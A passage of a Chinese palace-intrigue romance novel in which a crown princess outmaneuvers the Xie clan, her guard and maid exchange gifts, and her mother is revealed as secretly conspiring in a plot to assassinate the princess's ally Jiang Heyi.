谢望松看了眼许长宁,又看了眼她身边的李令舒,沉默许久,最后微微俯身一礼。
“既是陛下旨意,臣……无异议。”
*
满殿的人悉数离开,殿内只剩下许长宁和卫迟风、江鹤一三人。
看众人离开,候在殿外的薛竹铃提着裙子飞奔进来,跑到许长宁面前,扒着她左看右看,确认她并未受伤,才松了一口气。
薛竹铃方才在外头听着,可谓是惊心动魄,看到疯疯癫癫的赵晖被拖走,更是吓得不轻。
许长宁朝她使了个眼神,示意她看看卫迟风,薛竹铃转头看去,随即看到卫迟风满手是血,顿时心疼得倒吸一口凉气,忙跑过去,掏出手帕,捧起他的手,却不知如何是好。
“我来吧。”江鹤一主动上前,查看卫迟风手心的伤势,用薛竹铃的手帕为他简单包扎止血,“伤口不浅,卫将军还是赶紧去一趟太医署,让太医治疗。”
卫迟风收起手,负于身后:“小伤罢了,我要先护送殿下回东宫。”
“有小八他们在,你便安心去。”许长宁神色严肃,“此乃命令。”
卫迟风本还想说什么,但看许长宁的神色,便不再多言,行礼后离开。
薛竹铃左右踌躇,不知该不该跟上去,许长宁行至她身边,在她耳边低语几句话,薛竹铃便点点头,小跑追了上去。
望着卫迟风离去的背影,许长宁忽然对江鹤一道:“你如今也是他半个徒弟了,日后多些看着他。”
江鹤一不解:“殿下的意思是?”
许长宁轻叹道:“迟风他,总是故意让自己受伤。”
就如方才那把冲她而来的匕首,凭卫迟风的身手,他还有许多法子去拦,可他偏要徒手去接。
有时候,许长宁觉得,他就像一个求死之人。
无论为她做什么事,都是拼了命地去做,哪怕那件事,其实并不需要拼命。
江鹤一看她神色担忧,便仔细将此事放在了心上:“殿下放心,臣会——”
“看到翊圣郎对殿下如此忠诚……”
殿外忽有一人步入,打断了江鹤一的话,笑颜一如既往如春风拂面,“臣便安心了。”
许长宁望着行至自己面前,却未行礼的谢筠,便知他已放弃了在她面前惺惺作态。
她稍稍挪动脚步,将江鹤一完全挡在身后,朝谢筠微笑道:“说起来,此事还需感谢秘书郎。”
“殿下早便知晓,是我让他去的,对吧?”谢筠此时连笑也懒得装了,“我很好奇,是殿下自己察觉的,还是他说的。”
“重要吗?”许长宁逼近一步,低声道,“反正你们也要杀了他,不是吗?”
谢筠凝望许长宁双眸片刻,忽然觉得自己从前当真是小瞧了这个女人。
“怎会?”他又扬起一抹假笑,低声道,“臣只是担忧此人会对殿下不利,不过眼下看来,殿下已与翊圣郎齐心。”
许长宁望着他这张脸,前世的噩梦再度袭上心头。
她恨他,却总是要克制。
因为她不能让恨意,影响了她的判断。
虽暂时无法手刃了他,但恶心恶心他,还是可以的。
“莫非谢郎嫉妒了?”她笑着抬手摸了摸他的脸,手指下滑至他的下巴,轻轻挑起,“孤不介意多一人伺候,恰好也能让竹铃多些歇息。”
江鹤一看到许长宁像摸他的脸那般摸旁人,忽觉有些刺眼,默默垂下眼不去看。
而谢筠藏于皮下的厌恶几乎要藏不住,他别开脸,后退了一步,与许长宁拉开距离。
“父亲方才有些话忘了说,我便替他跑一趟,向殿下传话。”
忍着想要拼命擦脸的冲动,谢筠直言来此的目的,“南衙十二卫,非殿下一人可以咽得下去的。”
许长宁扬唇:“能否咽下去,也要先吃了再说。”
谢筠不与她做口舌之争,侧头看向江鹤一,讥笑道:“还有你,江鹤一。别以为披上了锦衣,便能遮掩掉那一副贱骨头,你不过是燕国的弃子,昭国的过街老鼠罢了。”
他又看向许长宁,低笑道,“殿下能下得了手,臣当真佩服。”
许长宁心想这人还真是哪壶不开提哪壶,江鹤一那点自尊心才被她给粘起来一些……
她该如何回应,才能给他扳回几分面子呢?
可尚未待她想出尖锐的话来,身后的江鹤一便上前一步,面无怯色地立于谢筠面前。
“谢公子倒有闲心管旁人的骨头贵贱,不如先瞧瞧自己脸上的脂粉,能否遮掩掉那挨揍的痕迹?”
谢筠一怔,手下意识抬起来,想要触摸颧骨和眉骨处,却生生忍住了。
“脸上青一块紫一块,怎好意思出来丢人现眼?”
江鹤一冷笑一声,学着许长宁方才的模样,朝谢筠逼近一步,气势愈发凌厉,“我是不是弃子,是不是过街老鼠,尚未有定论,但谢公子是否窝囊挨了打,但凡长了眼睛的人,都能看出来。”
“还望谢公子日后多多注意,没有本事,便莫再口出狂言,若被人打得更重一些,要寻太医医治便麻烦了。太医署人手短缺,甚是忙碌,恐怕顾不过来。”
这一番嘲讽加上不太有效的威胁,听得许长宁听得津津有味,眼底藏不住笑意。
她从前只知江鹤一呛她时毫不留情面,原来除了她,他呛别人也挺在行的。
谢筠僵在原地半晌,脸色竟因羞耻而有些涨红。
昭国出了名的翩翩温润公子,头一次在人前露出这般因一时气急而欲言又止的模样。
“翊圣郎好自为之。”谢筠咬咬牙,扔下一句话便转身离开了。
江鹤一袖中紧攥的手,这才松开了些。
如此,他也算是彻底与谢家撕破了脸,把这条退路给彻底封死了。
往后……他便只有许长宁了……
唯有许长宁赢了,他才有可能回家。
江鹤一本以为这一刻来临时,自己会陷入焦灼与不安,可他的第一反应却是,如释重负。
他不再摇摆,彻底成为了许长宁的盟友,虽然眼下许长宁的处境并不乐观,但从她的身上,他能看到打赢这一战的希望。
看她今日独自面对群臣,独自承受一国之重,江鹤一自惭形秽。
她比他想象中更强大,走得也更艰难。
他想与她站在一起,甚至贪心地,想要成为她的助力,如她一般强大。
江鹤一感觉前路渐渐明朗,无声呼出一口气,可转身发现许长宁正盯着他看,一口气又提了上来。
莫非他方才说错了话?
他有些心虚:“殿下如此看我做什么?”
许长宁眯了眯眼:“一个才挨了打的人,方才嘲笑别人挨打,倒是说得起劲。”
江鹤一顿时没了方才的狠劲,支支吾吾半天,才说出一句话来:“我……卫将军答应过我……不打脸的……”
如此……别人便看不出来了……
许长宁没忍住,只能转身不让江鹤一看到她偷笑。
江鹤一虽觉得有些丢脸,但看到她真心发笑的瞬间,忽然觉得自己再如何出丑也无妨。
她笑起来,甚是好看。
注意力全在彼此身上的两人未曾看到,远去的谢筠在用帕子将脸狠狠擦了几遍后,回首朝殿内看了过来。
他的嘴角,扬起了一抹得逞的笑意。
*
薛竹铃陪着卫迟风在太医署处理完伤口,又跟着他一起回东宫。
路上,她一直扒着卫迟风受伤的手看,拽着根本不松开。
卫迟风不断告诉她自己无碍,怎知多说了几遍,薛竹铃扁扁嘴,便红了眼睛。
卫迟风顿时慌了,磕磕巴巴解释,说这些伤于他而言只是小伤,真的没事。
结果薛竹铃直接停下脚步,哇一声哭了出来。
卫迟风犹如被当头敲了一棒,头脑空白一瞬,在嗷嗷哭的薛竹铃面前手忙脚乱,根本不知该如何哄她。
她一哭,他便是兵荒马乱。
“为何你总是这样?”薛竹铃哭着哭着,就往他身上砸了不轻不重的一拳,“你明明可以不让自己受伤的!”
她一想到那两道血肉模糊的伤口,眼泪便止不住地往外蹦。
卫迟风掏出帕子为她擦眼泪,感觉自己的手比处理伤口时抖得厉害百倍:“那匕首奔着殿下去,事出紧急,唯有如此才稳妥。”
“你骗人!”薛竹铃又砸了他一拳,哭得更厉害了。
“好好好,是我骗人,是我错了……”卫迟风越来越慌,说话都不利索了,“竹铃……你、你别哭了……我下回、下回不这样了,好吗?”
薛竹铃的哭声这才收敛了一些,她用哭得通红的双眼瞪着卫迟风,一抽一抽地说道:“你再受伤一回……我与殿下就不理你十日,每回再加五日!你若是伤得重了,我便让殿下将你这卫率给换了!革职!”
卫迟风哭笑不得:“我若受伤了,本就难受,你这般罚我,是想让我更难受一些吗?”
“那你便不要受伤嘛!你不是很厉害吗?”薛竹铃极为不满。
卫迟风望着她又生气又伤心的模样,感觉心被填得极满。
他从不想看到她哭,可此时见她为自己而落泪,却又觉得欢喜。
自己真是个混蛋。
卫迟风再度为薛竹铃擦拭眼泪,轻声哄道:“竹铃,像我这种人,受伤乃家常便饭,今日不过是割伤而已,真的只是小伤,不必在意。”
薛竹铃不说话了,只是瞪着他,好似憋着一口气,憋得脸都涨红了许多。
砰的一声,她整个人都炸了,用了极大的声音,冲卫迟风吼出一句话。
“我就是在乎!不行吗?!”
炸完后,薛竹铃转身便跑
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,两条小短腿奔得飞快。
卫迟风被炸得懵了一瞬,脑子尚未反应过来,身体便先一步追了上去。
恰好在薛竹铃踢到凸起的砖块将要摔个狗啃泥时,他一个飞扑过去,将她揽了回来,捞进了怀里。
薛竹铃似是气急败坏,又似是恼羞成怒,对他好一顿拳打脚踢。
“你再打,便要将礼物打坏了。”卫迟风微笑道。
薛竹铃嘟着嘴,一把推开他,做出一副不想理他的样子,但眼睛又忍不住往他身上瞥。
卫迟风偷偷扬了扬嘴角,从怀里掏出上次被归还的匕首,递给薛竹铃。
匕首上点缀了珠宝,与其说是武器,更像是精致的饰物。
“我做了机关,只告诉你如何打开,便只有你才能用它了。”卫迟风拉过薛竹铃的手,将匕首放在她的手心里,“若你用着不喜欢,再同我说。”
薛竹铃看着漂亮的匕首,终是无法再维持生气的模样,神色和缓许多。
“贿赂我也没用,方才说的惩罚,我与殿下言出必行。”
她一边嘟囔着,一边收起了匕首,抬眼时看到卫迟风老实地站在她面前,手又在紧张地攥着剑头,无奈地叹了口气。
老是收他的礼物,还冲他生气,好似在欺负他一样。
若不回赠些什么,下回都不好意思朝他发脾气了。
薛竹铃想了想,解下手腕上的铃铛手绳,朝卫迟风走近一步,将手绳系在了他的剑柄上。
青竹绿的绳子,串起了两个金色的小铃铛,为通体玄色的长剑添了一道色彩。
风吹过来时,扬起几缕薛竹铃的发丝,扫在卫迟风的颈间,令他的心随铃铛清脆的响声而悸动。
薛竹铃认真地绑好手绳,带着鼻音道:“你总是摩挲剑头,手指的皮都要磨掉了,下回,可以拨玩这两个铃铛。”
卫迟风因颈间的瘙痒而僵着未动,轻笑道:“剑上系铃铛,若我要偷袭别人,岂不是很容易暴露?”
薛竹铃一顿,垂头看着那铃铛,忽然觉得卫迟风说得有道理。
可是都已经系上了,再收回去,便是承认自己考虑不周了。
那可不行,大不了他回去后再解开便是。
薛竹铃抬起头,虚了虚眼,嘴硬道:“以我们小卫将军的本事,还需偷袭吗?”
言罢,她转身朝前走,背着卫迟风偷偷掏出了匕首,满心欢喜地打量,不知不觉间,连脚步都轻盈起来。
卫迟风看她蹦蹦跳跳的背影,便知她已经被哄好,这才松了一口气。
他低头看向剑柄上的两个铃铛,轻轻拨了拨。
铃铛响起时,仿佛薛竹铃的一颦一笑便在眼前。
他微微笑了笑,珍爱地将铃铛握在了手心里。
许长宁赠的剑,薛竹铃亲手挂上的铃铛,这柄剑,便是他所拥有的,最美好的一切。
“啧啧啧,小铃铛的话都说到那份上了,你怎么还像根木头一样?”
身后忽然传来一句感慨,他侧过头,看见许长宁走上来与他并肩。
卫迟风有些羞赧:“殿下莫要取笑我了……”
许长宁看向卫迟风:“我很认真。”
卫迟风再无法逃避,垂下眼:“殿下,我是在刀尖上行走的人,我不敢,亦不配……”
望着他的克制,许长宁一时无言。
她也伸手拨了拨他剑柄上的铃铛,轻盈的余响将她的思绪带回了过往。
这两人的情意,她一直看在眼中。
前一世,他们相伴十年,从懵懂不知情爱,到皆已长大成人,都不曾分开过。
可他们却未曾向彼此坦白心意,直到要分开的那刻。
竹铃先他一步走了,死前被谢家用酷刑折磨得遍体鳞伤,疼得说不出话。
她在生命最后一刻,在他的耳边,说出了藏了多年的话。
“我喜欢卫迟风。”
短短六字,耗尽了她最后的力气。
许长宁知晓她的心愿,没有抱她,她的小铃铛是在卫迟风怀里陷入长眠的。
卫迟风没来得及回应她,悲痛欲绝,抱着她的尸身枯坐了一夜。
彻夜的撕心裂肺,却悄无声息。
在太阳升起来时,他在她冰冷的额头上,轻轻落下了一个吻。
卫迟风从不喝酒,唯有在薛竹铃下葬那日,在她坟前喝了一日的酒,醉生梦死。
许长宁听见他唤了薛竹铃无数遍,说了无数遍的喜欢和爱。
她知道,若非她还在,卫迟风不会让薛竹铃一人走黄泉路,竹铃胆子小,他们都知道。
“人活在世上,短短数十载,‘不敢’、‘不配’,在如此有限的时间面前,皆不值一提。”
许长宁浅浅一笑,“心意藏得久了,便可能会失去说出来的机会。”
这句话,既是在说他们二人,也是在说她自己。
直至卫迟风走远,许长宁仍站在无人的宫道上,两侧的宫墙,红得晃眼。
前世云止伴她六载,为她走上绝路,可即便在最后一刻,她也未曾将情意说出口。
她怕自己成为弱势的一方,怕自己有更多的软肋,更多的不舍。
可他不在了,她才察觉,她的情意比她想象中更深,更刻骨,刻骨到没有机会再说出口会令她痛彻心扉。
她亏欠他太多,江鹤一此前种种恶劣,也许是他对她的惩罚。
“殿下?”
恍惚间,一道令她魂牵梦绕的声音,拨动了她的心弦。
蓦然回首,她看到了站在她身后不远处的江鹤一。
他就在她的眼前。
日夜想要宣之于口的那句话,撞到了嘴边,却还是生生止住了。
江鹤一看到许长宁双眸微红,似有泪光在闪动,心莫名地一颤。
“怎么了?”
许长宁未答,望着他,眼中涌出的泪,顺着脸颊滑落。
云止……我爱你……
请原谅我……从未曾说出口……
原谅我的懦弱,原谅我的犹豫,原谅我……带着你走上了不归路……
这一世,你忘了我,也好。
忘掉前世所有的苦与痛,让我来偿还。
“待一切安定下来,我会放你走。”
将你养回一只鹤的模样,荡平那些会伤你的危险,便放你自由。
许长宁衣袂轻飘,没有再回头。
江鹤一攥紧了衣袖,心乱如麻。
为何看她如此,会这般心痛……
为何听到她说让他走,心头有一瞬的发慌……
他到底怎么了……
29.母女
当李令舒听闻许长宁求见时,她还以为自己听错了。
她忙让人将地龙烧得更旺一些,又让人去燃一个手炉来。
“宁儿最是怕冷了。”李令舒接过手炉,喃喃低语。
未待她焐热手炉,许长宁已然踏入殿内。
“儿臣拜见母后。”
“快起来。”李令舒扶起她,将手炉放入她手中,拉她坐下,“外面风大,可有着凉?”
许长宁轻笑道:“在母后眼中,儿臣是个病秧子吗?”
“不是,自然不是。”李令舒淡淡笑道。
几句寒暄过后,殿内忽然陷入沉默。
李令舒不语,许长宁也不知该如何开口。
她觉得有些难堪。
今晨上朝之前,李令舒便来寻她,她本以为母后是来给她添堵的,态度甚是不好……
还有之前……自重生以来,她对李令舒的态度便没有好过……
她固执地以为,母亲不会变,可这一次,是她错了。
许长宁欲向李令舒道歉,可话到嘴边,总是难以启齿。
一旁的薛竹铃看见许长宁已经将衣袖绞成了一团,仍说不出话来,便帮了许长宁一把。
她从身后侍女手中,拿起一个锦盒,呈给了李令舒,笑出了两个小酒窝:“娘娘,您打开瞧瞧。”
望着李令舒打开盒子,许长宁将衣袖绞得更紧了。
李令舒拿起盒中的那把镶金玉梳,心中已然明了。
许长宁这是来向她送礼道歉的。
可这孩子打小便倔得很,支支吾吾半天都说不出一句“抱歉”。
李令舒看向许长宁,眼中笑意盈盈:“送我的?”
许长宁点点头:“母后可喜欢?”
李令舒笑而不答,恰好她披散着一半的长发,遂拿着玉梳起身,行至镜前坐下:“那要看它用起来是否舒适了。”
看许长宁仍坐着未动,薛竹铃笑着微微摇头。
她家殿下什么都精明,唯有在低头认错这件事上最是笨拙。
“殿下,快去为娘娘试试这玉梳。”薛竹铃低声提醒,并用眼神示意许长宁。
许长宁意会,忙走过去,接过李令舒手中的玉梳,取一撮她的头发,托在手心,缓缓梳下。
“今日……多谢母后。”许长宁抿了抿唇,“父皇他……不曾清醒过吧……”
“他会的。”李令舒柔声道。
许长宁望着乌发间几根刺眼的白发,心中愧意更深。
“母后可知,儿臣此举意欲何为?”
李令舒抬眼,与镜中的许长宁对视片刻,眼神中是说不清的情绪:“我知晓。”
许长宁仍有些不敢置信,再问:“您支持我与谢家为敌?”
李令舒垂下眼,捻起一撮发尾,用指尖卷了一圈。
沉默片刻后,她轻声道:“仔细想来,江鹤一封翊圣郎,眼下的确能为昭国带来益处。”
得到确切的答案后,许长宁终于敢放任自己展露欢喜,心中与李令舒的隔阂,也彻底消散。
这才是她想要的母后。
与她站在一起的,她可以依靠的母后。
许长宁为李令舒梳发的动作愈发轻快:“母后,这玉梳您可喜欢?”
看许长宁笑了,李令舒亦柔柔一笑,轻轻握住了她的手:“宁儿送的,母后都喜欢。”
望着镜中李令舒的面容与她的笑颜,许长宁忽然觉得眼中一热。
她俯下身子,从李令舒身后环抱住她,将下巴垫在李令舒的肩头。
像幼猫那般,贪恋地,出于本能地,蹭了蹭自己的母亲。
她埋头于李令舒的颈间,以掩饰自己渐红的眼眶。
李令舒任由她蹭着自己,始终淡淡地笑着:“多大的人了,怎么还这般撒娇?”
话音落下,许长宁却将她抱得更紧。
薛竹铃见状,扁扁嘴,也走过去,蹭了一个拥抱。
被两人黏住的李令舒哭笑不得,只好一手安抚一个,摸摸她们的脑袋。
可她眼中的笑意,却在两人离开后渐渐冷却。
“表姑与殿下,真是母女情深。”
谢筠从一隐蔽处走出来,行至李令舒身旁,温柔笑道,“若父亲见了,怕是要羡慕姑母。”
李令舒站在门前,望着许长宁离去的方向,默默攥紧了手中的玉梳。
她怎会听不出来谢筠这是在用谢望松威胁她?
只是她不敢反抗,亦不想反抗。
即便只是面对谢筠这个小辈。
她深知谢家权势之大,如今她的夫君病重,整个昭国唯有谢家,才可支撑她的皇儿走下去。
“本宫助你们杀了那燕国质子,但你们切不可伤宁儿分毫。”李令舒沉声道。
“那质子死后,殿下便将是我的妻子,我怎会伤她?”谢筠毫不掩饰他的目的。
今日这一出,均出自他之手。
他威胁赵晖闹事,谢望松是知晓的,但这仅是一道前菜。
赵晖闹事后,他再让李令舒出面,为许长宁“争”来这南衙十二卫的管控权,便更为可信。
以这感人的母女之情,扰乱许长宁的判断,当她以为自己夺得掌管十二卫与调动府兵的权力时,就已落入他的圈套中。
南衙十二卫数万人,来自各地的府兵亦近万人,岂是许长宁五日可以吃透的?
册封之日,江鹤一死于宫外刺杀,他们可将罪名定在江湖人士身上,如此既能彻底除掉江鹤一,打碎许长宁的如意算盘,杀鸡儆猴,亦可让昭国皇室与江鹤一之死撇清关系,他们不必担心燕皇会以此为由煽动燕民,下手时无须再有顾虑。
谢望松下朝后才知晓谢筠这一计划,谢筠时隔许久,再度得到了他一个肯定的眼神。
这已足以令他狂喜。
“届时谢家与许家便是本家,风雨同舟,昭国江山,定会安稳太平。”谢筠微笑道。
谢筠走后,李令舒在镜前坐了许久。
她拿着那把玉梳,反反复复地看,反反复复地与那老嬷嬷“炫耀”。
“青淮,你瞧,这是宁儿赠我的玉梳。”
可她眼中的欢喜,却夹杂着几分哀伤。
“真好看……”
*
经过将近十日的忙碌,江鹤一已完全适应了新的生活。
一种他做梦也想不到的生活。
晨起第一件事,便是接受卫迟风半个时辰的教习,挨了一顿打后,缓一缓,换一身新衣裳,便与苏明烨一同去太医署当值。
由于此前太医署中许多人被许长宁治了罪,近日新增了许多年轻的太医,他们对江鹤一不甚了解,因他是许长宁的翊圣郎兼太医令,便十分尊敬他。
但仍有一些老太医对他并不服气,明里暗里挑拨离间他与新来的太医,甚至公然与他对着干。
江鹤一硬气过一次,第二次便更容易了,他直接安排了几场医术上的比试,一一挑战那几位老太医。
无一例外,他赢了所有人,叫他们不服气也要服。
无人能比苏明烨更为骄傲与欢喜,但他在面上仍一副肃色,关上门来,经常责怪江鹤一管理太医署毫无章法。
江鹤一早晨挨卫迟风的打,当值时挨苏明烨敲脑袋,仔细数来,比从前挨打的次数更多了。
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责怪归责怪,苏明烨凭从前在燕国太医署所学,对太医署运转之法颇有见地。他为江鹤一出谋划策,还在新上任的年轻太医中,挑选了几名有管理之才的人,让他们一同辅助江鹤一。
几日下来,江鹤一感觉已从一开始的焦头烂额,渐渐变得得心应手。
下值后,他会邀请苏明烨来他在东宫的住处,一同用晚膳,顿顿有菜有肉,饭后还必须服用一碗调理的汤药。
他明显地感觉,自己胖了……
不过这种感觉,很快便会被晚膳后两个时辰的练习而被打消。
卫迟风极为严格,有时苏明烨还会旁观,江鹤一为了自己,也拼尽了全力。
两个时辰,足以将他所有的力气都耗光,洗漱完,筋疲力尽躺下,极快便入睡了,睡得十分安稳,因为太累了。
翌日清晨,他又要早早起来,去同他的武学“师父”讨教,即便这个比自己小一岁的“师父”与苏明烨一样,总是臭着一张脸,但江鹤一能感觉到,卫迟风与苏明烨一样,是真心在教他。
如此,卫迟风一些毫不客气的发言,他便当做耳边风了。
可即便日子这般充盈与劳累,他每日也都会花许多心思想一个问题。
许长宁今日会不会召见他?
他不知从何时开始,变得如此在意她是否想见自己,明明最初他那么努力想逃离她的掌控,如今竟心甘情愿地接受她的一切安排,甚至忍不住想见她。
他曾有几次远远看见她出入书房,便想起了林笙所说的,她在修炼一种秘术,对她感到愈发好奇。
她丢弃的那件明黄色衣裙,他已认真洗干净了所有血渍,并用他自制的香料浸泡了一遍,偷偷在卧房中晾晒干了,叠放整齐,放进了柜子里。
可是他始终没有等来许长宁的召见,甚至连正面见到她的机会都没有。
还有五日,他便及冠了,许长宁所说的册封大典便要来了。
莫非在此之前,她都不会见他吗?是不愿,还是太忙了?
也不知她的风寒是否已经痊愈了……
这一夜,江鹤一洗漱完毕,又在柜子前站了许久,望着那件衣裙,脑海中一遍遍掠过许长宁当初穿着它的模样,以及偶然出现在他梦中的,那些旖旎的碎片……
直至他的脸渐渐烧红,他才忽地回过神,忙关上了柜门,打断自己的胡思乱想。
他拿起一本医书,一边擦拭着清洗过的头发,一边往床榻走去,想着看一会书便睡。
忽然,一丝细微的风卷起他的几丝发梢,江鹤一感到身后有一道带着杀意的气息猛地逼近。
水滴滴落瞬间,他迅速转身,抬手精准攥住了冲他挥来之物,往他这边用力一拉,欲抢夺过来。
刹那间,他手上的血管都变得清晰,脖颈的青筋凸起,另一边手随时做好了反击的准备。
可下一瞬,他凌厉的眼神立即变得柔和下来,还夹杂着几分不敢置信。
望着被他几乎拉入怀中之人,江鹤一结心如擂鼓。
“许……殿下?”
*
江鹤一的前世日志·十二
阿宁不在宫中的第一日,想她……
阿宁不在宫中的第二日,想她……
第三日……她为何还未归……
第四日……好困,可是无法入眠,她何时才回来……
第五日……陛下回宫了,可今夜她在处理政事,寝殿前并未悬挂花灯,我还是不要打扰她了……可是好想她……偷偷去看她,卫将军应当不会赶我走吧……
第六日……终于与她见面了,可是她……今夜也无法入眠了……